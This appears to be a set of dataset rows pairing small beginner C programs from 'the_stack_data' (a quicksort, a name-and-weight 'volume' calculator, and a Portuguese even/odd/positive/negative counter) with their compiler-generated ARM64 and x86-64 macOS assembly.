movq -8(%rbp), %rax
movq %rax, -32(%rbp)
movq %rax, -24(%rbp)
LBB0_3: ## =>This Inner Loop Header: Depth=1
movq -24(%rbp), %rax
cmpq -16(%rbp), %rax
ja LBB0_8
## %bb.4: ## in Loop: Header=BB0_3 Depth=1
movq -24(%rbp), %rax
movl (%rax), %eax
movq -16(%rbp), %rcx
cmpl (%rcx), %eax
jge LBB0_6
## %bb.5: ## in Loop: Header=BB0_3 Depth=1
movq -32(%rbp), %rdi
movq %rdi, %rax
addq $4, %rax
movq %rax, -32(%rbp)
movq -24(%rbp), %rsi
callq _swap
LBB0_6: ## in Loop: Header=BB0_3 Depth=1
jmp LBB0_7
LBB0_7: ## in Loop: Header=BB0_3 Depth=1
movq -24(%rbp), %rax
addq $4, %rax
movq %rax, -24(%rbp)
jmp LBB0_3
LBB0_8:
movq -16(%rbp), %rdi
movq -32(%rbp), %rsi
callq _swap
movq -8(%rbp), %rdi
movq -32(%rbp), %rsi
addq $-4, %rsi
callq _quicksort
movq -32(%rbp), %rdi
addq $4, %rdi
movq -16(%rbp), %rsi
callq _quicksort
LBB0_9:
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _swap ## -- Begin function swap
.p2align 4, 0x90
_swap: ## @swap
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq %rdi, -8(%rbp)
movq %rsi, -16(%rbp)
movq -8(%rbp), %rax
movl (%rax), %eax
movl %eax, -20(%rbp)
movq -16(%rbp), %rax
movl (%rax), %ecx
movq -8(%rbp), %rax
movl %ecx, (%rax)
movl -20(%rbp), %ecx
movq -16(%rbp), %rax
movl %ecx, (%rax)
popq %rbp
retq
.cfi_endproc
## -- End function
.subsections_via_symbols
| the_stack_data/32949084.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.section __TEXT,__literal8,8byte_literals
.p2align 3 ; -- Begin function main
lCPI0_0:
.quad 0x404f333333333333 ; double 62.399999999999999
.section __TEXT,__text,regular,pure_instructions
.globl _main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #112
.cfi_def_cfa_offset 112
stp x29, x30, [sp, #96] ; 16-byte Folded Spill
add x29, sp, #96
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-8]
str wzr, [sp, #44]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
mov x9, sp
add x8, sp, #48
str x8, [sp, #16] ; 8-byte Folded Spill
str x8, [x9]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _scanf
ldr x8, [sp, #16] ; 8-byte Folded Reload
mov x9, sp
str x8, [x9]
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
mov x9, sp
add x8, sp, #40
str x8, [x9]
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _scanf
ldr x0, [sp, #16] ; 8-byte Folded Reload
mov w8, #40
str w8, [sp, #32]
bl _strlen
ldr x9, [sp, #16] ; 8-byte Folded Reload
mov x8, x0
str w8, [sp, #28]
ldr s0, [sp, #40]
fcvt d0, s0
adrp x8, lCPI0_0@PAGE
ldr d1, [x8, lCPI0_0@PAGEOFF]
fdiv d0, d0, d1
fcvt s0, d0
str s0, [sp, #36]
ldr s0, [sp, #36]
fcvt d0, s0
mov x8, sp
str x9, [x8]
str d0, [x8, #8]
adrp x0, l_.str.4@PAGE
add x0, x0, l_.str.4@PAGEOFF
bl _printf
ldr w9, [sp, #28]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str.5@PAGE
add x0, x0, l_.str.5@PAGEOFF
bl _printf
ldr w9, [sp, #32]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str.6@PAGE
add x0, x0, l_.str.6@PAGEOFF
bl _printf
ldur x9, [x29, #-8]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
bl ___stack_chk_fail
LBB0_2:
mov w0, #0
ldp x29, x30, [sp, #96] ; 16-byte Folded Reload
add sp, sp, #112
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "Hi! What's your first name ? \n"
l_.str.1: ; @.str.1
.asciz "%s"
l_.str.2: ; @.str.2
.asciz "%s , what's your weight in pounds ? \n"
l_.str.3: ; @.str.3
.asciz "%f"
l_.str.4: ; @.str.4
.asciz "Well , %s ,your volume is % 2.2f cubic feet. \n"
l_.str.5: ; @.str.5
.asciz "Also, your first name has %d letters , \n "
l_.str.6: ; @.str.6
.asciz " and we have %d bytes to store it .\n "
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.section __TEXT,__literal8,8byte_literals
.p2align 3 ## -- Begin function main
LCPI0_0:
.quad 0x404f333333333333 ## double 62.399999999999999
.section __TEXT,__text,regular,pure_instructions
.globl _main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $80, %rsp
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movl $0, -52(%rbp)
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
leaq -48(%rbp), %rsi
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _scanf
leaq -48(%rbp), %rsi
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.3(%rip), %rdi
leaq -56(%rbp), %rsi
movb $0, %al
callq _scanf
movl $40, -64(%rbp)
leaq -48(%rbp), %rdi
callq _strlen
## kill: def $eax killed $eax killed $rax
movl %eax, -68(%rbp)
movss -56(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero
cvtss2sd %xmm0, %xmm0
movsd LCPI0_0(%rip), %xmm1 ## xmm1 = mem[0],zero
divsd %xmm1, %xmm0
cvtsd2ss %xmm0, %xmm0
movss %xmm0, -60(%rbp)
leaq -48(%rbp), %rsi
movss -60(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero
cvtss2sd %xmm0, %xmm0
leaq L_.str.4(%rip), %rdi
movb $1, %al
callq _printf
movl -68(%rbp), %esi
leaq L_.str.5(%rip), %rdi
movb $0, %al
callq _printf
movl -64(%rbp), %esi
leaq L_.str.6(%rip), %rdi
movb $0, %al
callq _printf
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB0_2
## %bb.1:
xorl %eax, %eax
addq $80, %rsp
popq %rbp
retq
LBB0_2:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "Hi! What's your first name ? \n"
L_.str.1: ## @.str.1
.asciz "%s"
L_.str.2: ## @.str.2
.asciz "%s , what's your weight in pounds ? \n"
L_.str.3: ## @.str.3
.asciz "%f"
L_.str.4: ## @.str.4
.asciz "Well , %s ,your volume is % 2.2f cubic feet. \n"
L_.str.5: ## @.str.5
.asciz "Also, your first name has %d letters , \n "
L_.str.6: ## @.str.6
.asciz " and we have %d bytes to store it .\n "
.subsections_via_symbols
| the_stack_data/87884.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur wzr, [x29, #-4]
stur wzr, [x29, #-16]
stur wzr, [x29, #-20]
str wzr, [sp, #24]
str wzr, [sp, #20]
stur wzr, [x29, #-12]
b LBB0_1
LBB0_1: ; =>This Inner Loop Header: Depth=1
ldur w8, [x29, #-12]
subs w8, w8, #5
cset w8, ge
tbnz w8, #0, LBB0_12
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
mov x9, sp
sub x8, x29, #8
str x8, [x9]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _scanf
ldur w8, [x29, #-8]
subs w8, w8, #0
cset w8, le
tbnz w8, #0, LBB0_4
b LBB0_3
LBB0_3: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-16]
add w8, w8, #1
stur w8, [x29, #-16]
b LBB0_7
LBB0_4: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-8]
subs w8, w8, #0
cset w8, ge
tbnz w8, #0, LBB0_6
b LBB0_5
LBB0_5: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-20]
add w8, w8, #1
stur w8, [x29, #-20]
b LBB0_6
LBB0_6: ; in Loop: Header=BB0_1 Depth=1
b LBB0_7
LBB0_7: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-8]
mov w10, #2
sdiv w9, w8, w10
mul w9, w9, w10
subs w8, w8, w9
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB0_9
b LBB0_8
LBB0_8: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [sp, #24]
add w8, w8, #1
str w8, [sp, #24]
b LBB0_10
LBB0_9: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [sp, #20]
add w8, w8, #1
str w8, [sp, #20]
b LBB0_10
LBB0_10: ; in Loop: Header=BB0_1 Depth=1
b LBB0_11
LBB0_11: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-12]
add w8, w8, #1
stur w8, [x29, #-12]
b LBB0_1
LBB0_12:
ldr w9, [sp, #24]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
ldr w9, [sp, #20]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
ldur w9, [x29, #-16]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _printf
ldur w9, [x29, #-20]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str.4@PAGE
add x0, x0, l_.str.4@PAGEOFF
bl _printf
mov w0, #0
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "%d"
l_.str.1: ; @.str.1
.asciz "%d valor(es) par(es)\n"
l_.str.2: ; @.str.2
.asciz "%d valor(es) impar(es)\n"
l_.str.3: ; @.str.3
.asciz "%d valor(es) positivo(s)\n"
l_.str.4: ; @.str.4
.asciz "%d valor(es) negativo(s)\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movl $0, -4(%rbp)
movl $0, -16(%rbp)
movl $0, -20(%rbp)
movl $0, -24(%rbp)
movl $0, -28(%rbp)
movl $0, -12(%rbp)
LBB0_1: ## =>This Inner Loop Header: Depth=1
cmpl $5, -12(%rbp)
jge LBB0_12
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
leaq L_.str(%rip), %rdi
leaq -8(%rbp), %rsi
movb $0, %al
callq _scanf
cmpl $0, -8(%rbp)
jle LBB0_4
## %bb.3: ## in Loop: Header=BB0_1 Depth=1
movl -16(%rbp), %eax
addl $1, %eax
movl %eax, -16(%rbp)
jmp LBB0_7
LBB0_4: ## in Loop: Header=BB0_1 Depth=1
cmpl $0, -8(%rbp)
jge LBB0_6
## %bb.5: ## in Loop: Header=BB0_1 Depth=1
movl -20(%rbp), %eax
addl $1, %eax
movl %eax, -20(%rbp)
LBB0_6: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_7
LBB0_7: ## in Loop: Header=BB0_1 Depth=1
movl -8(%rbp), %eax
movl $2, %ecx
cltd
idivl %ecx
cmpl $0, %edx
jne LBB0_9
## %bb.8: ## in Loop: Header=BB0_1 Depth=1
movl -24(%rbp), %eax
addl $1, %eax
movl %eax, -24(%rbp)
jmp LBB0_10
LBB0_9: ## in Loop: Header=BB0_1 Depth=1
movl -28(%rbp), %eax
addl $1, %eax
movl %eax, -28(%rbp)
LBB0_10: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_11
LBB0_11: ## in Loop: Header=BB0_1 Depth=1
movl -12(%rbp), %eax
addl $1, %eax
movl %eax, -12(%rbp)
jmp LBB0_1
LBB0_12:
movl -24(%rbp), %esi
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _printf
movl -28(%rbp), %esi
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
movl -16(%rbp), %esi
leaq L_.str.3(%rip), %rdi
movb $0, %al
callq _printf
movl -20(%rbp), %esi
leaq L_.str.4(%rip), %rdi
movb $0, %al
callq _printf
xorl %eax, %eax
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "%d"
L_.str.1: ## @.str.1
.asciz "%d valor(es) par(es)\n"
L_.str.2: ## @.str.2
.asciz "%d valor(es) impar(es)\n"
L_.str.3: ## @.str.3
.asciz "%d valor(es) positivo(s)\n"
L_.str.4: ## @.str.4
.asciz "%d valor(es) negativo(s)\n"
.subsections_via_symbols
| the_stack_data/107231.c |
Subsets and Splits